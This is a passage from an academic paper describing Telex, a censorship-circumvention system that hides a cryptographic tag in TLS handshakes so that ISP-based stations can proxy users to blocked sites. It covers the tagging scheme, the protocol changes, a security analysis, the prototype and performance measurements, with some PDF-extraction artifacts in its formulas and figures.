destinations as possible so as to provide a large selection
of sites to play the role of NotBlocked.com. We might ac-
complish this either by surrounding the censor with Telex
stations or by placing them close to clusters of popular
uncensored destinations. In the latter case, care should
be taken not to reduce the size of the cluster such that the
censor would only need to block a small number of other-
wise desirable sites to render the station useless. Which
precise method of deployment would be most effective
and efficient is, in part, a geopolitical question.

A problem faced by existing anticensorship systems
is providing sufficient incentives for deployment [6].
Whereas systems that require cooperation of uncensored
websites create a risk that such sites might be blocked
by censors in retaliation, our system requires no such
participation. We envision that ISPs will willingly deploy
Telex stations for a number of reasons, including idealism,
goodwill, public relations, or financial incentives (e.g.,
tax credits) provided by governments. At worst, the con-
sequences to ISPs for participation would be depeering,
but depeering a large ISP would have a greater impact
on overall network performance than blocking a single
website.

Discovery of Telex stations is a third issue. With wide
enough deployment, clients could pick HTTPS servers
at random. However, this behavior might divulge clients’
usage of Telex, because real users don’t actually visit
HTTPS sites randomly. A better approach would be to
opportunistically discover Telex stations by tagging flows
during the course of the user’s normal browsing. When a
station is eventually discovered, it could provide a more

comprehensive map of popular sites (where popularity is
as measured with data from other Telex users) such that a
Telex station is likely to be on the path between the user
and the site. Even with only partial deployment, users
would almost certainly discover a Telex station eventually.

3 Previous Work

There is a rich literature on anonymous and censorship-
resistant communication, going back three decades [7].
One of the first systems explicitly proposed for combating
wide-scale censorship was Infranet [13], where participat-
ing websites would discreetly provide censored content in
response to steganographic requests. Infranet’s designers
dismissed the use of TLS because, at the time, it was not
widely deployed and would be easily blocked. We observe
that this aspect of Internet use has substantially changed
since 2002. Unlike Infranet, Telex does not require the
cooperation of unblocked websites—a significant imped-
iment to deployment—which participate in our system
only as oblivious cover destinations.

A variety of systems provide low-latency censorship
resistance through VPNs or encrypted tunnels to proxies.
These systems rely on servers at the edge of the network,
which censors constantly try to find and block (via IP). By
far, the best studied of these systems is Tor [10], which
also attempts to make strong anonymity guarantees by
establishing a multi-hop encrypted tunnel. Traditionally,
users connect to Tor via a limited set of “entry nodes,”
which provide an obvious target for censors. In response,
Tor has implemented bridges [27], which are a variation
on Feamster et al.’s keyspace hopping [14], in which each
client is told only a small subset of addresses of available
proxies. While bridges provide an extra layer of protec-
tion, the arms race remains: Chinese censors now learn
and block a large fraction of bridge nodes [9], possibly by
using a Sybil attack [11] against the bridge address distri-
bution system. Like Telex, Tor adopts a pragmatic threat
model that emphasizes performance; it wraps connections
using TLS and does not strongly protect against traffic
analysis and end-to-end timing attacks [22]. Unlike Tor,
we separate the problem of censorship resistance from
that of anonymous communication and concentrate on re-
sisting blocking; users who require increased anonymity
can use Telex as a gateway to the Tor network.

The most widely-used anticensorship tools today are
also among those that make the fewest security promises.
Pragmatic systems such as Dynaweb [12] and Ultra-
surf [30] that employ simple encrypted tunnels with large
numbers of entry points are popular, and, so far, have man-
aged to stay one step ahead of many censors. However,
we worry that such systems will not be able to withstand
continued research and development on the part of cen-
sors (e.g., Sybil attacks for proxy IP discovery). We aim
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Public: g0,α0 = gr
0,g1,α1 = gr

1
Context: χ

Randomly pick s,b
Output gs

b‖H1(αs
b‖χ)

key ← H2(αs
b‖χ)

Output a uniformly
random string

Private: r
Input β‖h

If h ?
= H1(β r‖χ):

key ← H2(β r‖χ)
tagged

else:
not tagged

Normal TLS ClientTelex Client

Telex Station

Figure 2: Tag creation and detection — Telex intercepts TLS connections that contain a steganographic tag in the
ClientHello message’s nonce field (normally a uniformly random string). The Telex client generates the tag using public
parameters (shown above), but it can only be recognized by using the private key r embedded in the Telex station.

to provide similar or better performance by adopting a
single-hop tunnel and locating proxies in the middle of
the network, where they are not susceptible to IP-based
blocking.

4 Tagging

In this section, we describe how we implement the invis-
ible tag for TLS connections, which only Telex stations
can recognize. We present an overview here, while the
details and a security argument appear in Appendix A.
Figure 2 depicts the tagging scheme.

Our tags must have two properties: they must be short,
and they must be indistinguishable from a uniformly ran-
dom string to anyone without the private key. Someone
with the private key should be able to examine a random-
looking value and efficiently decide whether the tag is
present; if so, a shared secret key is derived for use later
in the protocol.

The structure of the Telex tagging system is based on
Diffie-Hellman: there is a generator g of a group of prime
order. Telex has a private key r and publishes a pub-
lic key α = gr. The system uses two cryptographically
secure hash functions H1 and H2, each salted by the cur-
rent context string χ (see Section 5). To construct a tag,
the client picks a random private key s, and computes
gs and αs = grs. If ‖ denotes concatenation, the tag is
then gs‖H1(grs‖χ), and the derived shared secret key is
H2(grs‖χ).

Diffie-Hellman can be implemented in many different
groups, but in order to keep the tags both short and secure,
we must use elliptic curve groups. Then we must ensure
that, in whatever bit representation we use to transmit
group elements gs, they are indistinguishable from uni-

formly random strings of the same size. This turns out to
be quite tricky, for three reasons:

• First, it is easy to tell whether a given (x,y) is a point
on a (public) elliptic curve. Most random strings will
not appear to be such a point. To work around this,
we only transmit the x-coordinates of the elliptic
curve points.

• Second, it is the case that these x-coordinates are
taken modulo a prime p. Valid tags will never con-
tain an x-coordinate larger than p, so we must ensure
that random strings of the same length as p are ex-
tremely unlikely to represent a value larger than p.
To accomplish this, we select a value of p that is
only slightly less than a power of 2.

• Finally, it turns out that for any given elliptic
curve, only about half of the numbers mod p are
x-coordinates of points on the curve. This is unde-
sirable, as no purported tag with an x-coordinate not
corresponding to a curve point can possibly be valid.
(Conversely, if a given client is observed using only
x-coordinates corresponding to curve points, it is
very likely using Telex.) To solve this, we use two
elliptic curves: the original curve and a related one
called the “twist”. These curves have the property
that every number mod p is the x-coordinate of a
point on either the original curve or the twist. We
will now need two generators: g0 for the original
curve, and g1 for the twist, along with the corre-
sponding public keys α0 = gr

0 and α1 = gr
1. Clients

pick one pair (gb,αb) uniformly at random when
constructing tags.

When Telex receives a candidate tag, it divides it into
two parts as β‖h, according to the fixed lengths of group
elements and hashes. It also determines the current con-
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ClientKeyExchange
ChangeCipherSpec

[Finished]

Client Server
ClientHello

ServerHello
Certificate
ServerKeyExchange
ServerHelloDone

ChangeCipherSpec
[Finished]

Figure 3: TLS Handshake — The client and server ex-
change messages to establish a shared master_secret, from
which they derive cipher and MAC keys. The handshake
ends with each side sending a Finished message, en-
crypted with the negotiated keys, that includes an integrity
check on the entire handshake. The ServerKeyExchange
message may be omitted, depending on the key exchange
method in use.

text string χ . If this is a valid tag, β will be gs
b and h

will be H1(grs
b ‖χ) for some s and b. If this is not a valid

tag, β and h will both be random. Thus, Telex simply
checks whether h ?

= H1(β r‖χ). This will always be true
for valid tags, and will be true only with probability 2−�H1

for invalid tags, where �H1 is the bit length of the outputs
of H1. If it is true, Telex computes the shared secret key
as H2(β r‖χ).

5 Protocol

In this section, we briefly describe the Transport Layer
Security (TLS) protocol [8] and then we explain our mod-
ifications to it.

5.1 Overview of TLS

TLS provides a secure channel between a client and a
server, and consists of two sub-protocols: the handshake
protocol and the record protocol. The handshake protocol
provides a mechanism for establishing a secure channel
and its parameters, including shared secret generation
and authentication. The record protocol provides a se-
cure channel based on parameters established from the
handshake protocol.

During the TLS handshake, the client and server agree
on a cipher suite they will use to communicate, the server
authenticates itself to the client using asymmetric certifi-
cates (such as RSA), and cryptographic parameters are
shared between the server and client by means of a key
exchange algorithm. While TLS supports several key
exchange algorithms, in this paper, we will focus on the
Diffie-Hellman key exchange.

Figure 3 provides an outline of the TLS handshake. We
describe each of these messages in detail below:
ClientHello contains a 32-byte nonce, a session identifier
(0 if a session is not being resumed), and a list of sup-
ported cipher suites. The nonce consists of a 4-byte Unix
timestamp, followed by a 28-byte random value.
ServerHello contains a 32-byte nonce formed identically
to that in the ClientHello as well as the server’s choice of
one of the client’s listed cipher suites.
Certificate contains the X.509 certificate chain of the
server, and authenticates the server to the client.
ServerKeyExchange provides the parameters for the
Diffie-Hellman key exchange. These parameters include
a generator g, a large prime modulus pDH , a server pub-
lic key, and a signature. As per the Diffie-Hellman key
exchange, the server public key is generated by comput-
ing gspriv mod pDH , where spriv is a large random number
generated by the server. The signature consists of the
RSA signature (using the server’s certificate private key)
over the MD5 and SHA-1 hashes of the client and server
nonces, and previous Diffie-Hellman parameters.
ServerHelloDone is an empty record, used to update the
TLS state on the receiving (i.e., client) end.
ClientKeyExchange contains the client’s Diffie-Hellman
parameter (the client public key generated by gcpriv mod
pDH ).
ChangeCipherSpec alerts the server that the client’s
records will now be encrypted using the agreed upon
shared secret. The client finishes its half of the handshake
protocol with an encrypted Finished message, which veri-
fies the cipher spec change worked by encrypting a hash
of all previous handshake messages.

5.2 Telex handshake

The Telex handshake has two main goals: first, the censor
should not be able to distinguish it from a normal TLS
handshake; second, it should position the Telex station as
a man-in-the-middle on the secure channel. We now de-
scribe how the Telex handshake deviates from a standard
TLS handshake.
Client setup The client selects an uncensored HTTPS
server located outside the censor’s network (canonically,
https://NotBlocked.com) and resolves its hostname to find
server_ip. This server may be completely oblivious to
the anticensorship system. The client refers to its database
of Telex stations’ public keys to select the appropriate key
P = (α0,α1) for this session. We leave the details of
selecting the server and public key for future work.
ClientHello message The client generates a fresh
tag τ by applying the algorithm specified in Section 4,
using public key P and a context string composed
of server_ip‖UNIX_timestamp‖TLS_session_id.
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This yields a 224-bit tag τ and a 128-bit shared secret key
ksh. The client initiates a TCP connection to server_ip
and starts the TLS handshake. As in normal TLS, the
client sends a ClientHello message, but, in place of the
224-bit random value, it sends τ .

(Briefly, the tag construction ensures that the Telex
station can use its private key to efficiently recognize τ
as a valid tag and derive the shared secret key ksh, and
that, without the private key, the distribution of τ values
is indistinguishable from uniform; see Section 4.)

If the path from the client to server_ip passes through
a link that a Telex station is monitoring, the station ob-
serves the TCP handshake and ClientHello message. It
extracts the nonce and applies the tag detection algorithm
specified in Section 4 using the same context string and
its private key. If the nonce is a genuine tag created with
the correct key and context string, the Telex station learns
ksh and continues to monitor the handshake. Otherwise,
with overwhelming probability, it rejects the tag and stops
observing the connection.
Certificate validation The server responds by send-
ing its X.509 certificate and, if necessary, key exchange
values. The client verifies the certificate using the CA
certificates trusted by the user’s browser. It addition-
ally checks the CA at the root of the certificate chain
against a whitelist of CAs trusted by the anticensorship
service. If the certificate is invalid or the root CA is not on
the whitelist, the client proceeds with the handshake but
aborts its Telex invocation by strictly following the TLS
specification and sending an innocuous application-layer
request (e.g., GET / HTTP/1.1 for HTTPS).2

Key exchange At this point in the handshake, the client
participates in the key exchange to compute a master se-
cret shared with the server. We modify the key exchange
in order to “leak” the negotiated key to the Telex station.
Several key exchange algorithms are available. For exam-
ple, in RSA key exchange, the client generates a random
46-byte master key and encrypts it using the server’s pub-
lic key. Alternatively, the client and server can participate
in a Diffie-Hellman key exchange to derive the master
secret.

The Telex client, rather than generating its key ex-
change values at random, seeds a secure PRG with ksh
and uses its output for whatever randomness is required
in the key exchange algorithm (e.g., the Diffie-Hellman
exponent). If a Telex station has been monitoring the
connection to this point, it will know all the inputs to the
client’s key exchange procedure: it will have observed
the server’s key exchange parameter and computed the
client’s PRG seed ksh. Using this information, the Telex

2Both the additional root CA whitelist and the browser list need to be
checked; the censor may control a CA that is commonly whitelisted by
browsers, and the root CA whitelist may contain entries that are trusted
by one browser but not another.

station simulates the client and simultaneously derives the
same master secret.

Handshake completion If a Telex station is listening,
it attempts to decrypt each side’s Finished message. The
station should be able to use the master secret to decrypt
them correctly and verify that the hashes match its obser-
vations of the handshake. If either hash is incorrect, the
Telex station stops observing the connection. Otherwise,
it switches roles from a passive observer to a man-in-the-
middle. It forges a TCP RST packet from the client to
NotBlocked.com, blocks subsequent messages from ei-
ther side from reaching the remote end of the connection,
and assumes the server’s role in the unbroken TCP/TLS
connection with the client.

Session resumption Once a client and server have es-
tablished a session, TLS allows them to quickly resume
or duplicate the connection using an abbreviated hand-
shake. Our protocol can support this too, allowing the
Telex station to continue its role as a man-in-the-middle.

The station remembers key and session_id by the
server, for sessions it successfully joined. A client at-
tempts to resume the session on a new connection by send-
ing a ClientHello message containing the session_id
and a fresh tag τ ′, which Telex can observe and verify if
it is present. If the server agrees to resume the session,
it responds with a ServerHello message and a Finished
message encrypted with the original master secret. The
client then sends its own Finished message encrypted in
the same way, which confirms that it knows the original
master secret. The Telex station checks that it can decrypt
and verify these messages correctly, then switches into a
man-in-the-middle role again.

6 Security Analysis

In this section, we analyze Telex’s security under the
threat model described in Section 2.1.

6.1 Passive attacks

First, we consider a passive censor who is able to ob-
serve arbitrary traffic within its network. For this censor
to detect that a client is using Telex, it must be able to
distinguish normal TLS flows from Telex flows.

Telex deviates from a normal TLS handshake in the
client’s nonce (sent in the ClientHello message) and in
the client’s key exchange parameters. In Section 4, we
showed that an attacker cannot distinguish a Telex tag
from a truly random string with more than a negligible
advantage. This means that a client’s tagged nonce (using
Telex) is indistinguishable from a normal TLS random
nonce. Likewise, the Telex-generated key exchange pa-
rameters are the output of a secure PRG; they are not
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distinguishable from truly random strings as a direct re-
sult of the security of the PRG.

During the TLS record protocol, symmetric cryptogra-
phy is used between the Telex station and the client. A
censor will be unable to determine the contents of this
encrypted channel, as in normal TLS, and will thus be un-
able to distinguish between a Telex session and a normal
TLS session from the cryptographic payload alone.

Stream cipher weakness TLS supports several stream
cipher modes for encrypting data sent over the connec-
tion. Normally, the key stream is used once per session, to
avoid vulnerability to a reused key attack. However, the
Telex station and NotBlocked.com use the same shared
secret when sending data to the client, so the same key
stream is used to encrypt two different plaintexts. An
attacker (possibly different from the censor) with the abil-
ity to receive both of the resulting ciphertexts can simply
XOR them together to obtain the equivalent of the plain-
texts XORed together. To mitigate this issue, Telex sends
a TCP RST to NotBlocked.com to quickly stop it from
returning data. In addition, our implementation uses a
block cipher in CBC mode, for which TLS helps mitigate
these issues further by providing for the communication
of a random per-record IV.

We note that an adversary in position to carry out this
attack (such as one surrounding the Telex station) already
has the ability to detect the client’s usage of Telex, as
well as the contents of the connection from Telex to
Blocked.com.

Traffic analysis A sophisticated adversary might at-
tempt to detect a use of Telex by detecting anomalous
patterns in connection count, packet size, and timing. Pre-
vious work shows how these characteristics can be used to
fingerprint and identify specific websites being retrieved
over TLS [18]. However, this kind of attack would be
well beyond the level of sophistication observed in current
censors [16]. We outline a possible defense against traffic
analysis in Section 9.

6.2 Active attacks

Our threat model also allows the censor to attempt a vari-
ety of active attacks against Telex. The system provides
strong defenses against the most practical of these attacks.

Traffic manipulation The censor might attempt to
modify messages between the client and the Telex sta-
tion, but Telex inherits defenses against this from TLS.
For example, if the attacker modifies any of the param-
eters in the handshake messages, the client and Telex
station will each detect this when they check the MACs in
the Finished messages, which are protected by the shared
secret of the TLS connection. Telex will then not intercept
the connection, and the NotBlocked.com server will re-
spond with a TLS error. Widescale manipulation of TLS

handshakes or payloads would disrupt Telex; however, it
would also interfere with the normal operation of TLS
websites.

Tag replay The censor might attempt to use various
replay attacks to detect Telex usage. The most basic of
these attacks is for the censor to initiate its own Telex
connection and reuse the nonce from a suspect connec-
tion; if this connection receives Telex service, the censor
can conclude that the nonce was tagged and the original
connection was a Telex request.

Our protocol prevents this by requiring the client to
prove to the Telex station that it knows the shared secret
associated with the tagged nonce. We achieve this by
using the shared secret to derive the key exchange param-
eter, as described in Section 5. In particular, consider
the encrypted Finished message that terminates the TLS
handshake. This message must be encrypted using the
freshly negotiated key (or else the TLS server will hang
up), so it cannot simply be replayed. Second, the key
exchange parameter in use must match the shared secret
in the tagged nonce, or the Telex station will not be able
to verify the MAC on the Finished message. Together,
these requirements imply that the client must know the
shared secret.

Handshake replay This property of proving knowl-
edge of the shared secret is only valid if the server pro-
vides fresh key exchange parameters. An attacker may
circumvent this protection by replaying traffic in both di-
rections across the Telex station. This attack will cause a
visible difference in the first ApplicationData message re-
ceived at the client, provided that either 1) Blocked.com’s
response is not completely static (e.g., it sets a session
cookie) or 2) the original connection being replayed was
an unsuccessful Telex connection. In either case, the
new ApplicationData message will be fresh data from
Blocked.com.

A partial defense against this attack is to enforce fresh-
ness of the timestamps used in both halves of the TLS
handshake and prohibit nonce reuse within the window
of acceptable timestamps. However, this defense fails
in the case where the original connection being replayed
was an unsuccessful attempt to initiate a Telex connec-
tion, because the Telex station did not see the first use
of the nonce. As a further defense, we note that Not-
Blocked.com will likely not accept replayed packets, and
the Telex station can implement measures to detect at-
tempts to prevent replayed packets from reaching Not-
Blocked.com.

Ciphertext comparison The attacker is able to detect
the use of Telex if they are able to receive the unaltered
traffic from NotBlocked.com, in addition to the traffic
they forward to the client. Though they will not be able
to decrypt either of the messages, they will be able to see
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that the ciphertexts differ, and from this conclude that a
client is using Telex. Normally, Telex blocks the traffic
between NotBlocked.com and the client after the TLS
handshake to prevent this type of attack.

However, it is possible for an attacker to use DNS hi-
jacking for this purpose. The attacker hijacks the DNS en-
try for NotBlocked.com to point to an attacker-controlled
host. The client’s path to this host passes through Telex,
and the attacker simply forwards traffic from this host to
NotBlocked.com. Thus, the attacker is able to observe the
ciphertext traffic on both sides of the Telex station, and
therefore able to determine when it modifies the traffic.

Should censors actually implement this attack, we can
modify Telex stations in the following way to help detect
DNS hijacking until DNSSEC is widely adopted. When
it observes a tagged connection to a particular server IP,
the station performs a DNS lookup based on the common
name observed in the X.509 certificate. This DNS lookup
returns a list of IP addresses. If the server IP for the
tagged connection appears in this list, the Telex station
will respond to the client and proxy the connection. Oth-
erwise, the station will not deviate from the TLS protocol,
as it is possible that the censor is hijacking DNS. This
may lead to false negatives, as DNS is not globally con-
sistent for many sites, but as long as the censor has not
compromised the DNS chain that the station uses, there
will be no false positives. For popular sites, we could also
add a whitelisted cache of IP addresses.

Since the censor controls part of the network between
the client and the Telex station, it could also try to redirect
the connection by other means, such as transparently prox-
ying the connection to a censor-controlled host. In these
cases, the destination IP address observed by Telex will
be different from the one specified by the client. Thus,
the context strings constructed by the client and Telex
will differ, and Telex will not recognize the connection
as tagged. This attack offers the adversary an expensive
denial of service attack, but it does not allow the attacker
to detect attempted use of Telex.

Denial of service A censor may attempt to deny service
from Telex in two ways. First, it may attempt to exhaust
Telex’s bandwidth to proxy to Blocked.com. Second, it
may attempt to exhaust a Telex station’s tag detection
capabilities by creating a large amount of ClientHello
messages for the station to check. Both methods are overt
attacks that may cause unwanted political backlash on the
censor or even provoke an international incident. To com-
bat the first attack, we can implement a client puzzle [20],
where Telex issues a computationally intensive puzzle
the client must solve before we allow proxy service. The
client puzzle should be outsourced [32] to avoid addi-
tional latency that might distinguish Telex handshakes
from normal TLS handshakes. To combat the second
attack, we can implement our tag checking in hardware

to increase throughput if necessary.

7 Implementation

To demonstrate the feasibility of Telex, we implemented
a proof-of-concept client and station. While we believe
these prototypes are useful models for research and exper-
imentation, we emphasize that they may not provide the
performance or security of a more polished production
implementation, and should be used accordingly.

7.1 Client

Our prototype client program, which we refer to as
telex_client, is designed to allow any program that
uses TCP sockets to connect to the Telex service without
modification. It is written in approximately 1200 lines of
C (including 500 lines of shared TLS utility code) and
uses libevent to manage multiple connections. The user
initializes telex_client by specifying a local port and
a remote TLS server that is not blocked by the censor (e.g.
NotBlocked.com). Once telex_client launches, it be-
gins by listening on the specified local TCP socket. Each
time a program connects to this socket, telex_client
initiates a TLS connection to the unblocked server spec-
ified previously. Following the Telex-TLS handshake
protocol (see Section 5.2), telex_client inserts a tag,
generated using the scheme described in Section 4, into
the ClientHello nonce. We modified OpenSSL to accept
supplied values for the nonce as well as the client’s Diffie-
Hellman exponent. We supply this 1024-bit value as the
output of a secure pseudorandom generator with input
ksh associated with the previously generated tag. These
changes required us to modify fewer than 20 lines of code
in OpenSSL 1.0.0.

7.2 Station

Our prototype Telex station uses a modular design to pro-
vide a basis for scaling the system to high-speed links and
to ensure reliability. In particular, it fails safely: simple
failures of the components will not impact non-Telex TLS
traffic. The implementation is divided into three compo-
nents, which are responsible for diversion, recognition,
and proxying of network flows.

Diversion The first component consists of a router at
the ISP hosting the Telex station. It is configured to allow
the Telex station to passively monitor TLS packets (e.g.,
TCP port 443) via a tap interface. Normally, the router
will also forward the packets towards their destination,
but the recognition and relay components can selectively
command it to not forward traffic for particular flows.
This allows the other components to selectively manipu-
late packets and then reinject them into the network. In
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our implementation, the router is a Linux system that uses
the iptables and ipset [19] utilities for flow blocking.
Recognition During the TLS handshake, the Telex
station recognizes tagged connections by inspecting the
ClientHello nonces. In our implementation, the recog-
nition subsystem reconstructs the TCP connection using
the Bro Network Intrusion Detection System [23]. Bro
reconstructs the application-layer stream and provides
an event-based framework for processing packets. We
used the Bro scripting language for packet processing
(approximately 300 lines), and we added new Bro built-in
functions using C++ (approximately 450 lines).

When the Bro script recognizes a TLS ClientHello
message, it checks the client nonce to see whether it is
tagged. (The tag checking logic is a C implementation
of the algorithm described in Section 4.) If the nonce
is tagged, we extract the shared secret associated with
the tag and create an entry for the connection in a table
indexed by flow. All future event handlers test whether
the flow triggering the event is contained in this table, and
do nothing if it is not.

The Bro script then instructs the diversion component
(via a persistent TCP connection) to block the associated
flow. As this does not affect the tap, our script still re-
ceives the associated packets, and the script is responsible
for actively forwarding them until the TLS Finished mes-
sages are observed. This allows the Bro script to inspect
each packet before forwarding it, while ensuring that any
delays in processing will not cause a packet that should
be blocked to make it through the router (e.g., a TLS Ap-
plicationData packet from NotBlocked.com to the client).
To derive the TLS shared secret from the key exchange,
our Bro script also stores the necessary parameters from
the TLS ServerKeyExchange message in the connection
table.

Once it observes the server’s TLS Finished handshake
message, our Bro script stops forwarding packets between
the client and the server (thus atomically severing traf-
fic flow between them) and sends the connection state,
which includes the TCP-level state (sequence number,
TCP options, windows, etc.), the key exchange parame-
ters, and the shared secret ksh to the proxy service compo-
nent. Our proof-of-concept implementation handles only
the TCP timestamp, selective acknowledgements (SACK),
and window scaling options, but other options could be
handled similarly. Likewise, we currently only support
TLS’s Diffie-Hellman key exchange, but RSA and other
key exchange methods could also be supported.
Proxy service The proxy service component plays the
role of the TLS server and connects the client to blocked
websites. Our implementation consists of a user space
process called telex_relay and an associated kernel
module, which are responsible for decapsulating TLS
connection data and passing it to a local Squid proxy [25].

The telex_relay process is responsible for relaying
data from the client to the Squid proxy, in effect spoofing
the server side of the connection. We defer forwarding
of the last TLS Finished message until telex_relay has
initialized its connection state in order to ensure that all
application data is observed. We implement this delay by
including the packet containing TLS Finished message in
the state sent from our Bro script and leaving the task of
forwarding the packet to its destination to telex_relay,
thus avoiding further synchronization between the com-
ponents.

Similarly to telex_client, telex_relay is written
in about 1250 lines of C (again including shared TLS
utility code) and uses libevent to manage multiple connec-
tions. It reuses our modifications to OpenSSL in order to
substitute our shared secret for OpenSSL’s shared secret.
We implement relaying of packets between the client and
the Telex service straightforwardly, by registering event
handlers to read from one party and write to the other
using the usual send and recv system calls on the one
hand and SSL_read and SSL_write on the other.

To avoid easy detection, the relay’s TCP implementa-
tion must appear similar to that of the original TLS server.
Ideally, telex_relay would simply bind(2) to the ad-
dress of the original server and set the IP_TRANSPARENT
socket option, which, in conjunction with appropriate
firewall and routing rules for transparent proxying [29],
would cause its socket to function normally despite be-
ing bound to a non-local address. This would cause the
relay’s TCP implementation to be identical to that of the
operating system that hosts it. However, the TCP hand-
shake has already happened by the time our Bro script
redirects the connection to telex_relay, so we need a
method of communicating the state negotiated during the
handshake to the TCP implementation. Accordingly, we
modified the Linux 2.6.37 kernel to add a fake_accept
ioctl that allows a userspace application to create a seem-
ingly connected socket with arbitrary TCP state, including
endpoint addresses, ports, sequence numbers, timestamps,
and windows.

8 Evaluation

In this section, we evaluate the feasibility of our Telex
proxy prototype based on measurements of its perfor-
mance.

8.1 Model deployment

We used a small model deployment consisting of three
machines connected in a hub-and-spoke topology. Our
simulated router is the hub of our deployment, and the
two machines connected are the Telex station, and a web
server serving pages over HTTPS and HTTP. The Telex
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Figure 4: Client Request Throughput — We measured
the rate at which two client machines could complete
HTTP requests for a 1 kB page over a laboratory network,
using either TLS or our Telex prototype. The prototype’s
performance was competitive with that of unmodified
TLS.

station has a 2.93 GHz Intel Core 2 Duo E7500 processor
and 2 GB of RAM. The server has a 4-core, 2.26 GHz
Intel Xeon E55200 processor and 11 GB of RAM. The
router has a 3.40 GHz Intel Pentium D processor and 1 GB
of RAM. All of the machines in our deployment and tests
are running Ubuntu Server 10.10 and are interconnected
using Gigabit Ethernet.

8.2 Tagging performance

We evaluated our tagging implementation by generating
and verifying tags in bulk using a single CPU core on
the Telex station. We performed ten trials, each of which
processed a batch of 100,000 tags. The mean time to gen-
erate a batch was 18.24 seconds with a standard deviation
of 0.016 seconds, and the mean time to verify a batch was
9.03 seconds with a standard deviation of 0.0083 seconds.
This corresponds to a throughput of approximately 5482
tags generated per second and 11074 tags verified per
second. As our TLS throughput experiments show, tag
verification appears very unlikely to be a bottleneck in
our system.

8.3 Telex-TLS performance

To compare the overhead of Telex, we used our model
deployment with two additional clients connected to the
router. Our primary client machine (client A) has a 2.93
GHz Intel Core 2 Duo E7500 processor and 2 GB of
RAM. The secondary client machine (client B) has a 3.40
GHz Intel Pentium D processor and 2 GB of RAM. For

our control, we used the Apache benchmark ab [1] to
have each of the clients simultaneously download a static
1-kilobyte page over HTTPS. To compare to Telex, we
then configured ab to download the same page through
the telex_client. Because the Telex tunnel itself is
encrypted with TLS, we configured ab to use HTTP,
not HTTPS, in this latter case. For the NotBlocked.com
used by telex_client, we used our server on port 443
(HTTPS) and for Blocked.com, we used our same server
on port 80 (HTTP).

We modified ab to ensure that only successful connec-
tions were counted in throughput numbers and to override
its use of OpenSSL’s SSL_OP_ALL option. This option
originally caused ab to send fewer packets than a default
configuration of OpenSSL, allowing the TLS control to
perform artificially better at the cost of decreased security.

We used ab to perform batches of 1000 connections
(ab -n 1000); in each batch, we configured it to use a
variable number of concurrent connections. We repeated
each trial on our two clients (client A and client B) to get
a mean connection throughput for each client.

The results are shown in Figure 4; the performance
of the Telex tunnel lags behind that of TLS at low con-
currency, but catches up at higher concurrencies. The
observered performance is consistent with Telex introduc-
ing higher latency but similar throughput, which we posit
is due to Telex’s additional processing and network delay
(e.g., execution of the fake_accept ioctl). Both Telex
and TLS exhibit diminishing returns from more than 10
concurrent requests, and both start to plateau at 30 con-
current requests. Manual inspection of client machines’
CPU utilization confirms that the tests are CPU bound by
50 concurrent connections.

8.4 Real-world experience

To test functionality on a real censor’s network, we ran a
Telex client on a PlanetLab [24] node located in Beijing
and attempted connections to each of the Alexa top 100
websites [2] using our model Telex station located at the
University of Michigan. As a control, we first loaded these
sites without using Telex and noted apparent censorship
behavior for 17 of them, including 4 from the top 10: face-
book.com, youtube.com, blogspot.com and twitter.com.
The blocking techniques we observed included forged
RST packets, false DNS results, and destination IP black
holes, which are consistent with previous findings [15].
We successfully loaded all 100 sites using Telex. We also
compared the time taken to load the 83 unblocked sites
with and without Telex. While this metric was difficult
to measure accurately due to varying network conditions,
we observed a median overhead of approximately 60%.

To approximate the user experience of a client in China,
we configured a web browser on a machine in Michigan
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to proxy its connections over an SSH tunnel to our Telex
client running in Beijing. Though each request traveled
from Ann Arbor to China and back before being for-
warded to its destination website (a detour of at least
32,000 km), we were able to browse the Internet uncen-
sored, and even to watch streaming YouTube videos.

Anecdotally, three of the authors have used Telex for
their daily Web browsing for about two months, from
various locations in the United States, with acceptable
stability and little noticeable performance degradation.
The system received additional stress testing because an
early version of the Telex client did not restrict incom-
ing connections to the local host, and, as a result, one
of the authors’ computers was enlisted by others as an
open proxy. Given the amount of malicious activity we
observed before the issue was corrected, our prototype
deployment appears to be robust enough to handle small-
scale everyday use.

9 Future Work

Maturing Telex from our current proof-of-concept to a
large-scale production deployment will require substantial
work. In this section, we identify four areas for future
improvement.

Traffic shaping An advanced censor may be able to
distinguish Telex activity from normal TLS connections
by analyzing traffic characteristics such as the packet and
document sizes and packet timing. We conjecture that this
would be difficult to do on a large scale due to the large
variety of sites that can serve as NotBlocked and the dis-
ruptive impact of false positives. Nevertheless, in future
work we plan to adapt techniques from prior work [18]
to defend Telex against such analysis. In particular, we
anticipate using a dynamic padding scheme to mimic the
traffic characteristics of NotBlocked.com. Briefly, for
every client request meant for Blocked.com, the Telex
station would generate a real request to NotBlocked.com
and use the reply from NotBlocked.com to restrict the
timing and length of the reply from Blocked.com (as-
suming the Blocked.com reply arrived earlier). If the
NotBlocked.com data arrived first, the station would send
padding as a reply to the client, including a command to
send a second “request” if necessary to ensure that the
apparent document length, packet size, and round trip
time remained consistent with that of NotBlocked.com.

Server mimicry Different service implementations
and TCP stacks are easily distinguished by their observ-
able behavior [21, Chapter 8]. This presents a substantial
challenge for Telex: to avoid detection when the Not-
Blocked.com server and the Telex station run different
software, a production implementation of Telex would
need to accurately mimic the characteristics of many com-

mon server configurations. Our prototype implementation
does not attempt this, and we have noted a variety of ways
that it deviates from TLS servers we have tested. These
deviations include properties at the IP layer (e.g. stale IP
ID fields), the TCP layer (e.g. incorrect congestion win-
dows, which is detectable by early acknowledgements),
and the TLS layer (e.g. different compression methods
and extensions provided by our more recent OpenSSL
version). While these specific examples may themselves
be trivial to fix, convincingly mimicking a diverse popu-
lation of sites will likely require substantial engineering
effort. One approach would be for the Telex station to
maintain a set of userspace implementations of popular
TCP stacks and use the appropriate one to masquerade as
NotBlocked.com.

Station scalability Widescale Telex deployment will
likely require Telex stations to scale to thousands of con-
current connections, which is beyond the capacity of our
prototype. We plan to investigate techniques for adapt-
ing station components to run on multiple distributed
machines. Clustering techniques [31] developed for in-
creasing the scalability of the Bro IDS may be applicable.

Station placement Telex raises a number of questions
related to Internet topography. How many ISPs would
need to participate to provide global coverage? Short of
this, where should stations be placed to optimally cover a
particular censor’s network? We leave accurate deploy-
ment modelling for future work.

Furthermore, we currently make the optimistic assump-
tion that all packets for the client’s connection to Not-
Blocked.com pass through some particular Telex station,
but this might not be the case if there are asymmetric
routes or other complications. Does this assumption hold
widely enough for Telex to be practically deployed? If
not, the system could be enhanced in future work to sup-
port cooperation among Telex stations on different paths,
or to support multi-headed stations consisting of several
routers in different locations diverting traffic to common
recognition and relay components.

10 Conclusion

In this paper, we introduced Telex, a new concept in
